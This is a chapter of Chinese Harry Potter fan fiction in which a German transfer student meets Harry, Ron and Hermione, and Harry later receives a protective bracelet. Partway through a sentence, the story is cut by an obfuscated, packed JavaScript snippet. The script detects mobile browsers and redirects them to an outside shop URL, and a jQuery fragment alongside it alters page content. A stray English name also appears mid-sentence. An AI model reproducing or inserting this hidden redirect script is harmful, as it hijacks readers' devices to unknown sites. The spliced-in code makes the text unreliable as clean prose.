看着哈利宁死不屈的模样,我放下钱袋,从魁地奇精品店离开。
“你的选修课是什么?”哈利问道。
“跟你——”我紧急改口,“神奇生物保护课和占卜,哦,我要去买这两门课的教材。”
哈利一言难尽,“好吧,希望你会喜欢那些……书。”
当哈利买完《中级变形术》和《标准咒语三级》,站在书店门口等我时,我还在满头大汗地跟妖怪书作斗争,它张着满是利齿的嘴,愤恨地准备咬碎我的胳膊。
“所以……选修课是让你们对付这本活泼的书?”埃里厄斯一头雾水的问。
“对付它还用不着专门开一门课。”我用胳膊肘夹着书,不让它咬到我的长袍,埃里厄斯费解地看了我一眼,把魔杖对着它,“速速禁锢。”
两捆绳子顿时把它勒住,它颤抖着,发出痛苦的“咯咯”声,封面的牙齿不住地打颤。
“这样就好多了。”他把魔杖插回腰间,“你不是巫师吗?为什么不用魔法?”
这本可怜的妖怪书已经快被勒变形了,我默默地把它塞进背包,默许了埃里厄斯过于直白的行为。
一路无言,我们抱着各自的书回到破釜酒吧,人还没进去就听见两道熟悉的声音在争吵。
“我警告你,赫敏,让你的破猫离斑斑远点,不然我就把它变成茶壶套!”
赫敏留给我们一个背影,蓬松的头发让她看着像颗毛栗子,“它是只猫,罗纳德,你想要它怎么样?”她又气又急的说:“猫天生就这样!”
“什么猫,他们管这个叫猫?”罗恩的脸跟头发一样红,“我看它就是头长毛猪。”
“自己的臭耗子像旧鞋刷还说别人!”赫敏气呼呼地反驳,摸了几下姜黄色大猫的脑袋,“没关系,克鲁克山,别理那个坏小子。”
哈利没说话,喜滋滋地看着两人拌嘴,丝毫不知道这是他Steve生活的开始。
“什么?瞧瞧你的猫,和卡斯帕有什么区别!”
我的笑容一秒消失。
这猫长得跟被铲子拍扁了似的,脸和鼻子塌在一起,我和它哪像了?!
“他俩都盯着我的耗子不放!卡斯帕一年级就想用比比多味豆噎死斑斑!”罗恩口不择言地嚷嚷起来,“至少他只是说说,你的怪猫一直想把斑斑开膛破肚!”
罗纳德·耗子爱好者·不分青红皂白·韦斯莱,我发誓要把你的比比多味豆全部换成鼻屎味。
哈利听到罗恩说我像克鲁克山的时候就已经在憋笑了,他没提醒他的好兄弟,安静地看着我沉着脸逼近。
“下午好,罗纳德·韦斯莱。”我贴近他,故意压低声音,“你是在说我吗?”
罗恩怪叫一声,窜了出去,和赫敏撞在一起,克鲁克山从赫敏怀里跳出来,张牙舞爪地扑向斑斑。
对,没错,就是这样,大口大口的撕咬吧!你就是最棒的小猫,咬死它!我在心里雀跃地鼓劲儿。
罗恩原本还尴尬着,听到斑斑尖声叫着后连连惊呼,挥着魔杖驱赶克鲁克山,“走开!赫敏,管管你的长毛猪!”
“它不是长、毛、猪!”
无人在意我被说成一只扁猫。
埃里厄斯把胳膊搭在我的肩膀上,附耳细语,“像看电影一样,真有意思,霍格沃茨的生活也是这样?”
“当然,你想象不到霍格沃茨的乐趣。”我得意地抬头,把他拉到旁边,“看见那只耗子了吗?我这学期的目标就是它,一个无耻、狡猾的叛徒……”
哈利捡起蜷缩在地的斑斑,递到罗恩手里,回头看着我们,“你们两个在说什么?”
“没什么,哈利。”我搪塞过去。
赫敏抱着克鲁克山,看到埃里厄斯的银眼睛时惊呼一声,“哦!你的眼睛……《拨开迷雾看未来》里有过记载,你是先知?”
罗恩心有余悸地护着斑斑,“老天,这不是我们这学期要学的课吗?”
“我已经提前看完了。”赫敏骄傲的说,继续问着,迫切地想得到他的回答,“两种颜色的眼睛真的是先知的代表?你能看到未来?”
“或许吧。”埃里厄斯随口回答。
气氛短暂地缓和,我们找了张长桌坐下来,上面油腻腻的,似乎是没擦干的黄油,我猜埃里厄斯的洁癖又犯了,他用魔杖指着桌子,把它变得跟新的一样。
哈利兴奋地问着罗恩关于埃及的事,罗恩把斑斑放在手里,意犹未尽地回答,“那儿太好玩了,木乃伊,古墓,斑斑也很开心。”
“噢,你知道吗,埃及人很崇拜猫。”赫敏意有所指地说。
“他们还崇拜屎壳郎呢!”罗恩颇为嫌弃。
赫敏不理他,选择和哈利搭话,“听说你在假期把你的姑妈吹涨了,是真的吗?”
“我只是失控了。”哈利说。
罗恩捧腹大笑,赫敏严肃地瞪他一眼,“这可不是好笑的事!”
“赫敏,说不定被哈利吹飞的肥女人比德思礼一家还糟糕,对吧?”我把巧克力蛙扔在旁边,替哈利说话,“哈利在他们家生活了十一年都能相安无事,怎么偏偏吹涨了他的姑妈?肯定是那个女人的错。”
得到肯定的哈利士气大振,“对,是她乱说话。”
罗恩还在笑,眼睛眯成一条缝,“要是我做了这样的事,魔法部肯定不会放过我,不过他们得先把我从地里挖出来,因为我妈妈已经把我杀了一遍了。”
他高兴地掏出新魔杖,举起来给我们看,“我的新魔杖!柳木的,独角兽羽毛,我终于有一根自己的魔杖了!”
“恭喜。”我拍拍手,才想起来埃里厄斯已经安静好久了。
埃里厄斯似笑非笑地看着我,他眨着眼,朝我做出“你继续聊”的口型。
我汗如雨下。
不管怎么说,把朋友扔在陌生的环境散养都是很不礼貌的行为,我清清嗓子,让埃里厄斯也加入我们的话题,“埃里,你还没有说你的魔杖是什么材质,据说德国和英国的魔杖完全采用不同的材料和制作风格。”
“德国?”哈利三人诧异地看着我们。
巧克力蛙在埃里厄斯的手指下旋转,他掀了下眼皮,冷淡的说:“黑刺李木,雷鸟羽毛。”
他一个劲儿地瞅着巧克力蛙的盒子,就像上面开花了似的。
我心惊肉跳。
据埃里厄斯所说,他放弃了期盼已久的世界,在“外挂”全废,语言不通,不远万里的情况下来找我,结果他唯二吃的冰淇淋还是自己掏的钱——这么看,他对于我只顾着跟哈利他们聊天的行为感到不高兴也是应该的。
我忽然涌起一股“有失远迎”的强烈愧疚感。
“雷鸟羽毛是极其强大而且难以驾驭的杖芯,我从来没看到有巫师用它。”赫敏的身子往前探,脸上印着“求知欲”三个大字,“德姆斯特朗和霍格沃茨很不一样吧!你们主要学什么?听说你们的黑魔法防御课更偏向于公开……”
“的确不一样,那儿冷的必须穿野兽的皮毛。”他看了眼赫敏,说话的口音还是很别扭,“我们对魔法有很多涉猎,并不避讳黑魔法。”
罗恩吸着气,听的起劲。
开始,埃里厄斯还能维持热情和礼貌,随着赫敏越问越多,摆出做笔记的姿势后,他的耐心迅速消耗,回答变得愈发敷衍。
“学校很大,很冷。”
“课程很多。”
“不是。”
我几度想加入他们的对话,或者引出别的话题,但都失败了。
这时候出现的韦斯莱双胞胎宛如天神下凡,他们一前一后地从飘浮的盘子后面出来,齐声说:“又在显摆你的新魔杖了吗,罗恩?”
“我才没有。”罗恩嘟囔。
“噢,你没有说,除了汤姆,早班女佣——”
“晚班女佣——”
“厨师。”
“修马桶的人。”
“还有那个比利时的——哇噢,你是谁?”弗雷德大声说,拉开凳子坐在埃里厄斯旁边。
“银色的眼睛!”乔治凑近了些,单手搭着我的肩膀,隔着我和埃里厄斯说:“酷毙了!你是从哪儿来的?”
“德姆斯特朗。”我赶紧接话,“弗雷德,乔治,他是埃里厄斯·沃尔特,今年转学到霍格沃茨。”
“德姆斯特朗!”两人齐声喊。
埃里厄斯深吸气,我看到他瞳孔地震,银色的那只更加明显。
“弗雷德,乔治!别围着别人转!”莫丽在楼梯上呵斥他俩。
“嘿,妈妈,他是德国人!”
“没错,我们要了解友好的德国转校生!”
金妮一直在哈利旁边打转,好几次都想坐到他旁边,都被双胞胎的笑声打断,她愤怒地蹬着她的两个哥哥,怒气冲冲地坐到赫敏身边去了。
珀西整理着擦得亮晶晶的银色徽章,一副魔法部部长的做派,“你好,沃尔特先生,很高兴见到你,我是霍格沃茨的男学生会主席珀西·韦斯莱。”
他装腔作势地伸手,手指头差点怼到埃里厄斯的下巴上,埃里厄斯半天都没反应,我在桌子下勾着他的小拇指,警示他别晾着人家。
埃里厄斯的手和珀西的碰了碰,随即起身,头也不回地上了楼,留下呆滞的我和一众不明所以的巫师们。
他多少有点不礼貌了。
珀西的脸色很不好看,因为双胞胎在他旁边说,“你吓走了我们的新同学,学生会主席珀西。”
酒吧老板汤姆把三张桌子拼在一起,哈利、赫敏和我还有韦斯莱一家子把饭菜一扫而空,我挑了几个勉强能入眼的炖菜,打算给埃里厄斯送过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632007|184978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,看样子他压根不打算出来了。
“你去哪?”哈利问。
“去看看沃尔特先生饿死了没有。”我回答,让盘子飘起来,冷不丁瞥到双胞胎之一对着豪华的巧克力布丁大快朵颐,无奈的说:“弗雷德,请记得留下我的那份。”
“你说错了,我是乔治。”
“好的,乔治,你记得……”
“骗你的,我是弗雷德。”他笑嘻嘻地说。
我掉头就走,把楼梯踩得咚咚响。
推开房间门,埃里厄斯盘腿坐在床上,正翻看着预言家日报,他指着小天狼星的照片,问道:“这人是谁?”
“小天狼星·布莱克,哈利的教父。”我让盘子飞到他面前,说:“你一整天都没吃——”
“我不吃。”他紧皱着眉,“土豆都煮烂了,跟地精的呕吐物一样,你们英国……”
我连盘子带菜都扬出窗外。
他攥紧报纸,愠怒地说:“你认真的吗?”
我翻找着手提包,从里面掏出几块坩埚蛋糕递到他眼前,他用手指戳着蛋糕边缘,“看上去像在蜂蜜里泡了……”
“我知道你想念中国菜。”我疲惫的说:“可我现在没法给你弄来别的,说不定霍格沃茨的厨房能满足你,但如果你还对我给你的蛋糕不满意,那我只能请你去垃圾桶里翻翻了,德国人。”
他瞅了我好一会儿,当我以为他要发火的时候,他叽里咕噜地说了一长串我听不懂的话。
“什么?”我迷茫的问。
“我刚才说,你下次说话能不能慢点。”他啃了一口蛋糕,说道:“用德语说的。”
一瞬间,我觉得自己苍老了几岁。
我们聊了一会儿关于小天狼星的事,埃里厄斯啧啧称奇,表示魔法部都是一窝没脑子的蠢蛋。
“还是有聪明人的。”我努力挽回一些人的颜面,“不过,如果他们用摄神取念或者吐真剂,小天狼星就不会被冤枉,至少有人能给哈利撑腰,在哈利被他二百磅的肥猪表哥追着打的时候。”
等等——
我才想起来自己忘了什么事。
那件准备送给哈利的礼物还躺在我的行李箱里。
——·——·——
深夜,哈利被口渴搅醒,他轻手轻脚地摸下楼梯,想去楼下找点水喝。
刚走到楼梯拐角,他就听到了压低的争吵声。
“不告诉他没有任何意义!”亚瑟激动的说:“福吉一直把他当成小孩子,可哈利已经十三岁了,他有权知道!”
“亚瑟,真相会把他吓坏的!”莫丽尖声反驳。
“哈利必须提防!你忘记他和罗恩上学期的事情了?布莱克一定会找上门,我们不能让哈利蒙在鼓里!”
“霍格沃茨很安全——”
“我曾经以为阿兹卡班也很安全,直到布莱克逃出来。”亚瑟气喘吁吁的说,他似乎没有力气再喊了,“莫丽,布莱克就是亡命徒,我们不能让哈利……”
哈利倒退两步,僵硬地爬上楼梯。
小天狼星·布莱克是冲着他来的!
他大概整个学期都不能去霍格莫德了,在小天狼星被捕之前,哈利心烦意乱地想着,他打算悄悄退回房间,却在楼梯口差点撞到一个人。
哈利定睛一看,那人是错过饭后甜点的卡斯帕安。
“你听到韦斯莱先生说的了?”哈利问。
卡斯帕安很轻的应声,在兜里翻着什么。
“我不明白。”哈利愤怒的说:“我已经从伏地魔的手底下逃脱了三次,我也不是完全没用,我不会被谋杀的,我不怕他!”
“当然,哈利,你足够聪明,能应对各种麻烦,但我还是担心会出现意外。”
卡斯帕安拉过哈利的手,哈利感觉手心立刻接触到沁心的凉意,他摊手一看,一条刻着凤凰尾羽的银色手链躺在他的掌中,上面镶嵌着几颗布满符文的小银块。
“这是……”
“假期做的,很简单的魔法防护道具。”卡斯帕安小声说:“能抵挡不友善的物理撞击或者常见的恶咒。”
他转身离开,走的很快,似乎把手链交给哈利只是为了完成一个任务。
哈利想起上学期在密室里面对蛇怪的场景。
鲜血淋漓的伤口和被蛇牙撕裂的肩膀让他至今都隐隐作痛,而现在,无论是蛇怪带来的死亡和疯狂的布莱克都不能让他烦恼了。
他获得的不是想象中空荡荡的安慰,而是实实在在的保护,哈利端详着银色手链,爱不释手,他仔细翻看着,意外发现凤凰尾羽的内侧刻着一小串字母。
它们太小,哈利必须凑近才能勉强看清。
“Per hoc et per me Protegaris.(愿你得到守护,籍此物与我)”